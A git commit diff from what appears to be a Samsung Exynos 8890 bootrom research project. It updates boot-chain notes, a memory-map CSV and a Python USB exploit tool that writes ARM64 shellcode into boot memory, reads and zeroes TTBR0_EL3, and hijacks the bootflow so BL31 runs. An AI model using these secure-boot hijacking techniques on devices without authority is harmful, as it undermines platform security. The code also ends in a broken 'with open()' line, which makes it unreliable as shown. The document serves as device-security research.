Loads and executes BL31, then returns debugger, then continues bootflow and enters recovery

This commit is contained in:
Jonathan Herrewijnen 2024-08-29 21:06:15 +02:00
parent a12453cbd3
commit e59478187d
6 changed files with 658 additions and 289 deletions

View File

@ -4,9 +4,13 @@ Booting
======= =======
This part describes the boot chain of the ``Exynos 8890`` SoC. This part describes the boot chain of the ``Exynos 8890`` SoC.
Booting Protocol Memory overview
================ ===============
TODO document normal samsung boot chain
.. raw:: html
<iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe>
Exploitation Exploitation
============ ============

File diff suppressed because it is too large Load Diff

View File

@ -10,7 +10,11 @@ start,end,name,order,comment,X0,LR
0x02048000,0x0206ed10,BL2,,,, 0x02048000,0x0206ed10,BL2,,,,
0x02069000,0x0206f000,Debugger,,,, 0x02069000,0x0206f000,Debugger,,,,
0x020c0000,0x020c7000,Debugger relocated,,,, 0x020c0000,0x020c7000,Debugger relocated,,,,
0x02048000,0x0204daf0,BL2 empty space?,,,,
0x0204eb00,0x0204eb00,BL2 copy start/source,,,,
0x020c2000,0x020e8d10,BL2 load address?,,,,
0x0206ed10,0x02070000,End/Start peripheral space?,,,, 0x0206ed10,0x02070000,End/Start peripheral space?,,,,
0x02019e5c,0x02020e5c,Tried debugger space,,,, 0x02019e5c,0x02020e5c,Tried debugger space,,,,
0x020C7800,0x020C8000,modem_interface,,,, 0x020C7800,0x020C8000,modem_interface,,,,
0x14AC0000,0x14ac5000,mali@14AC0000,,,, 0x14AC0000,0x14ac5000,mali@14AC0000,,,,
0x2035600,0x2035608,TTBR0_EL3 address ptr,,,,
1 start end name order comment X0 LR
10 0x02048000 0x0206ed10 BL2
11 0x02069000 0x0206f000 Debugger
12 0x020c0000 0x020c7000 Debugger relocated
13 0x02048000 0x0204daf0 BL2 empty space?
14 0x0204eb00 0x0204eb00 BL2 copy start/source
15 0x020c2000 0x020e8d10 BL2 load address?
16 0x0206ed10 0x02070000 End/Start peripheral space?
17 0x02019e5c 0x02020e5c Tried debugger space
18 0x020C7800 0x020C8000 modem_interface
19 0x14AC0000 0x14ac5000 mali@14AC0000
20 0x2035600 0x2035608 TTBR0_EL3 address ptr

File diff suppressed because one or more lines are too long

Binary file not shown.

View File

@ -385,7 +385,7 @@ class ExynosDevice():
_setup_debugger() _setup_debugger()
def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000): def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
""" """
Relocates the debugger to another location. Make sure to have built the debugger with the correct addresses! Relocates the debugger to another location. Make sure to have built the debugger with the correct addresses!
@ -411,7 +411,7 @@ class ExynosDevice():
# self.usb_write(b"FLSH") # Flush cache # self.usb_write(b"FLSH") # Flush cache
self.cd.restore_stack_and_jump(entry) self.cd.restore_stack_and_jump(entry)
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger" assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
self.cd.relocate_debugger(g_data_received+0x1000, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000 self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
def dumb_interact(self, dump_imems=False): def dumb_interact(self, dump_imems=False):
@ -553,7 +553,7 @@ class ExynosDevice():
shellcode = f""" shellcode = f"""
ldr x0, debugger_addr ldr x0, debugger_addr
blr x0 blr x0
debugger_addr: .quad 0x020c0000 debugger_addr: .quad 0x02022000
""" """
shellcode = ks.asm(shellcode, as_bytes=True)[0] shellcode = ks.asm(shellcode, as_bytes=True)[0]
@ -579,25 +579,49 @@ class ExynosDevice():
# self.cd.restore_stack_and_jump(0x000125b4) # self.cd.restore_stack_and_jump(0x000125b4)
def get_ttbr0_el3(self): def get_ttbr0_el3(self):
"""
Get the TTBR0_EL3 register using opcode.
"""
shellcode= f""" shellcode= f"""
mov x1, lr mov x1, lr
mrs x0, ttbr0_el3 mrs x0, ttbr0_el3
ldr x2, =0x020c1000 ldr x2, =0x206fd10
str x0, [x2] str x0, [x2]
mov lr, x1 mov lr, x1
ret ret
""" """
shellcode = ks.asm(shellcode, as_bytes=True)[0] shellcode = ks.asm(shellcode, as_bytes=True)[0]
self.cd.memwrite_region(0x020c0000, shellcode) self.cd.memwrite_region(0x206ed10, shellcode)
self.cd.jump_to(0x020c0000) self.cd.jump_to(0x0206ed10)
ttbr0 = u64(self.cd.memdump_region(0x020c1000, 8)) ttbr0 = u64(self.cd.memdump_region(0x0206fd10, 0x8))
print(f"TTBR0_EL3: {hex(ttbr0)}") print(f"TTBR0_EL3: {hex(ttbr0)}")
print(f"Bits: {ttbr0:064b}") print(f"Bits: {ttbr0:064b}")
# Overwrite it with 0's # Overwrite it with 0's
self.cd.memwrite_region(0x020c1000, b"\x00" * 8) self.cd.memwrite_region(0x0206ed10, b"\x00" * 0x8)
ttbr0 = self.cd.memdump_region(0x020c1000, 8) ttbr0 = self.cd.memdump_region(0x206ed10, 0x8)
assert ttbr0 == b"\x00" * 8, "TTBR0_EL3 not overwritten" assert ttbr0 == b"\x00" * 0x8, "TTBR0_EL3 not overwritten"
def test_write_execute(self, address):
"""
At given address, test if it is possible to write and execute code, by writing a simple jump to, and jump back.
"""
self.usb_write(b'PING')
assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"
shellcode = f"""
mov x1, lr
ret
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
self.cd.memwrite_region(address, shellcode)
self.cd.jump_to(address)
self.usb_write(b"PING")
assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
print(f'Jumped to {hex(address)} and back')
def debugger_boot(self): def debugger_boot(self):
@ -611,13 +635,10 @@ class ExynosDevice():
logger.debug('State after setting up initial debugger') logger.debug('State after setting up initial debugger')
self.cd.arch_dbg.state.print_ctx() self.cd.arch_dbg.state.print_ctx()
# dumped = self.dump_memory(0x20000, 0x2070000)
DEBUGGER_ADDR = 0x2069000 # 0x2069000 DEBUGGER_ADDR = 0x2069000 # 0x2069000
self.get_ttbr0_el3()
# Relocate to other debugger # Relocate to other debugger
debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read() debugger = open("../../dump/reloc_debugger_0x2048000.bin", "rb").read()
self.relocate_debugger(debugger=debugger, entry=0x02048000, storage=0x02051000, g_data_received=0x02052000) self.relocate_debugger(debugger=debugger, entry=0x02048000, storage=0x02051000, g_data_received=0x02052000)
DEBUGGER_ADDR = 0x02048000 DEBUGGER_ADDR = 0x02048000
@ -707,6 +728,8 @@ class ExynosDevice():
self.cd.memwrite_region(0x20219b8, p32(DEBUGGER_ADDR)) self.cd.memwrite_region(0x20219b8, p32(DEBUGGER_ADDR))
# self.cd.restore_stack_and_jump(hijacked_fun) # self.cd.restore_stack_and_jump(hijacked_fun)
# Write 'a1 00 00 00' to 0x0202a330
self.cd.restore_stack_and_jump(0x02024010) self.cd.restore_stack_and_jump(0x02024010)
time.sleep(2) time.sleep(2)
@ -715,6 +738,18 @@ class ExynosDevice():
self.usb_read(0x200) # GiAs self.usb_read(0x200) # GiAs
self.cd.arch_dbg.fetch_special_regs() self.cd.arch_dbg.fetch_special_regs()
BL31_ra = self.cd.arch_dbg.state.LR
# Relocate debugger back to the start of the stack
# debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
# self.relocate_debugger(debugger=debugger, entry=0x14ac3000, storage=0x14ac4200, g_data_received=0x14ac4400)
# DEBUGGER_ADDR = 0x14ac3000
# Again restore bootflow
self.cd.memwrite_region(0x020200dc, p32(hijacked_fun))
self.cd.restore_stack_and_jump(hijacked_fun)
time.sleep(2)
# ==== Stage 3 BL2 ==== # ==== Stage 3 BL2 ====
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()) self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
@ -738,6 +773,7 @@ class ExynosDevice():
pass pass
if __name__ == "__main__": if __name__ == "__main__":
arg = argparse.ArgumentParser("Exynos exploit") arg = argparse.ArgumentParser("Exynos exploit")
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
@ -769,3 +805,6 @@ if __name__ == "__main__":
exynos.dumb_interact() exynos.dumb_interact()
sys.exit(0) sys.exit(0)
with open()